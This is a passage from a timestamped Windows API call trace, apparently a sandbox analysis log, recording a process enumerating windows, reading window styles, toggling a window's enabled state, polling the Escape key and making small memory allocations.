(hWnd=0x10248, uCmd=0x2) returned 0x1024a [0187.878] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0187.878] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0187.878] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0187.878] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0187.879] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0187.879] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0187.879] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0187.879] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0187.879] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0187.880] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0187.880] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0187.880] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0187.880] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0187.880] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0187.881] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0187.881] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0187.881] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0187.881] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0187.881] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0187.882] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0187.882] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0187.882] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0187.882] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0187.882] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0187.883] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0187.883] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0187.883] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0187.883] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0187.883] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0187.884] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0187.884] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0187.884] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0187.884] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0187.884] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0187.885] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0187.885] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0187.885] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0187.885] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0187.885] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0187.886] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0187.886] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0187.886] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0187.886] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0187.886] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0187.887] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0187.887] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0187.887] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0187.887] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0187.887] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0187.888] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0187.888] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0187.888] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0187.888] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0187.888] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0187.889] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0187.889] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0187.889] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0187.889] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0187.889] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0187.890] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0187.890] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0187.890] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0187.890] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0187.890] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0187.891] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0187.891] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0187.891] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0187.891] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0187.891] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0187.892] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0187.892] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0187.892] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0187.892] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0187.892] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0187.893] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0187.893] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0187.893] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0187.893] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0187.893] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0187.894] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0187.894] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0187.894] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0187.894] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0187.894] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0187.895] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0187.895] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0187.895] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0187.895] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0187.895] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0187.896] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0187.896] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0187.896] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0187.896] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0187.896] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0187.897] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0187.897] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0187.897] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0187.897] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0187.897] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0187.898] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0187.898] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0187.898] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0187.898] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0187.898] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0187.899] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0187.899] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0187.899] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0187.899] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0187.899] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0187.900] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0187.900] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0187.900] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0187.900] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0187.901] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0187.901] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0187.901] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0187.901] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0187.901] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0187.902] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0187.902] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0187.902] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0187.902] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0187.902] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0187.903] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0187.903] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0187.903] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0187.903] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0187.903] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0187.904] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0187.904] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0187.904] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0187.904] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0187.904] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0187.905] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0187.905] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0187.905] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0187.905] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0187.905] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0187.906] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0187.906] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0187.906] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0187.906] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0187.906] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0187.907] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0187.907] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0187.907] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0187.907] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0187.907] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0187.908] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0187.908] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0187.908] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0187.908] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0187.908] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0187.909] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0187.909] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0187.909] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0187.909] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0187.909] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0187.909] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0187.910] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0188.182] GetCurrentThreadId () returned 0xbdc [0188.182] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0188.182] GetDesktopWindow () returned 0x10010 [0188.182] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0188.183] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0188.183] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0188.183] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0188.184] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0188.184] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0188.184] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0188.184] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0188.184] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0188.185] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0188.185] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0188.185] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0188.185] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0188.186] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0188.186] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0188.186] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0188.186] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0188.186] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0188.187] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0188.187] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0188.187] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0188.187] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0188.187] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0188.187] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0188.187] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0188.188] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0188.188] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0188.188] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0188.188] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0188.188] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0188.188] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0188.188] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0188.188] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0188.189] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0188.189] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0188.189] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0188.189] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x140264 [0188.189] GetWindow (hWnd=0x140264, uCmd=0x2) returned 0x400c0 [0188.190] GetWindow (hWnd=0x400c0, uCmd=0x2) returned 0x20360 [0188.190] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0188.190] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0188.190] IsWindowEnabled (hWnd=0x20360) returned 1 [0188.190] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0188.190] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0188.190] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0188.191] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0188.191] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0188.191] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0188.191] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0188.191] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0188.191] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0188.191] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0188.191] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0188.192] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0188.192] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0188.192] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0188.192] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0188.192] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0188.192] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0188.192] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0188.192] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0188.192] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0188.192] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0188.193] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0188.193] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0188.193] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0188.193] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0188.193] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0188.194] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x25c1510 [0188.194] IMalloc:Free (This=0x7fefecb5380, pv=0x25c1510) [0190.923] GetAsyncKeyState (vKey=27) returned 0 [0190.924] GetCurrentThreadId () returned 0xbdc [0190.924] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0190.924] GetDesktopWindow () returned 0x10010 [0190.924] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0190.924] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0190.924] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0190.925] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0190.925] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0190.925] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0190.925] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0190.925] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0190.925] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0190.925] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0190.925] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0190.925] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0190.925] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0190.926] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0190.926] IsWindowEnabled (hWnd=0x20360) returned 0 [0190.926] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0190.926] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0190.926] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0190.926] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0190.926] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0190.926] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0190.926] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0190.926] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0190.926] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0190.926] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0190.927] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0190.927] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0190.927] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0190.927] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0190.927] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0190.927] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0190.927] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0190.927] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0190.927] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0190.927] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0190.928] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0190.928] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0190.928] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0191.002] GetCurrentThreadId () returned 0xbdc [0191.002] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0191.002] GetDesktopWindow () returned 0x10010 [0191.003] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0191.003] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0191.003] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0191.003] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0191.003] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0191.003] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0191.003] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0191.003] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0191.003] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0191.004] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0191.004] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0191.004] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0191.004] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0191.004] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0191.004] IsWindowEnabled (hWnd=0x20360) returned 1 [0191.004] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0191.004] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0191.004] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0191.004] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0191.005] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0191.005] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0191.005] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0191.005] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0191.005] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0191.005] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0191.005] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0191.005] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0191.005] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0191.005] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0191.005] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0191.005] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0191.006] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0191.006] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0191.006] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0191.006] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0191.006] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0191.006] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4f79c10 [0191.007] IMalloc:Free (This=0x7fefecb5380, pv=0x4f79c10) [0193.998] GetAsyncKeyState (vKey=27) returned 0 [0193.999] GetCurrentThreadId () returned 0xbdc [0193.999] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0193.999] GetDesktopWindow () returned 0x10010 [0193.999] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0193.999] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0193.999] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0194.000] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0194.000] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0194.000] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0194.000] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0194.000] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0194.000] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0194.000] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0194.000] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0194.000] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0194.001] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0194.001] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0194.001] IsWindowEnabled (hWnd=0x20360) returned 0 [0194.001] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0194.001] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0194.001] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0194.001] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0194.001] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0194.001] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0194.001] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0194.001] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0194.002] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0194.002] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0194.002] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0194.002] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0194.002] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0194.002] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0194.002] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0194.002] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0194.002] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0194.002] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0194.002] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0194.003] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0194.003] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0194.003] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0194.003] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0194.160] GetCurrentThreadId () returned 0xbdc [0194.160] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0194.160] GetDesktopWindow () returned 0x10010 [0194.160] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0194.160] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0194.160] 